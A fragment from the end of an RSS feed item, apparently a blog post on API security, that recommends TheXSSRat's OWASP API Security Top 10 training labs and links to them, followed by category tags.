&lt;p&gt;Also, TheXSSRat has this amazing training for OWASP API Security Top 10. Consider taking a look at his labs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://hackxpert.com/API-testing.php"&gt;https://hackxpert.com/API-testing.php&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>owasp</category>
      <category>api</category>
      <category>hacking</category>
    </item>
  </channel>
</rss>
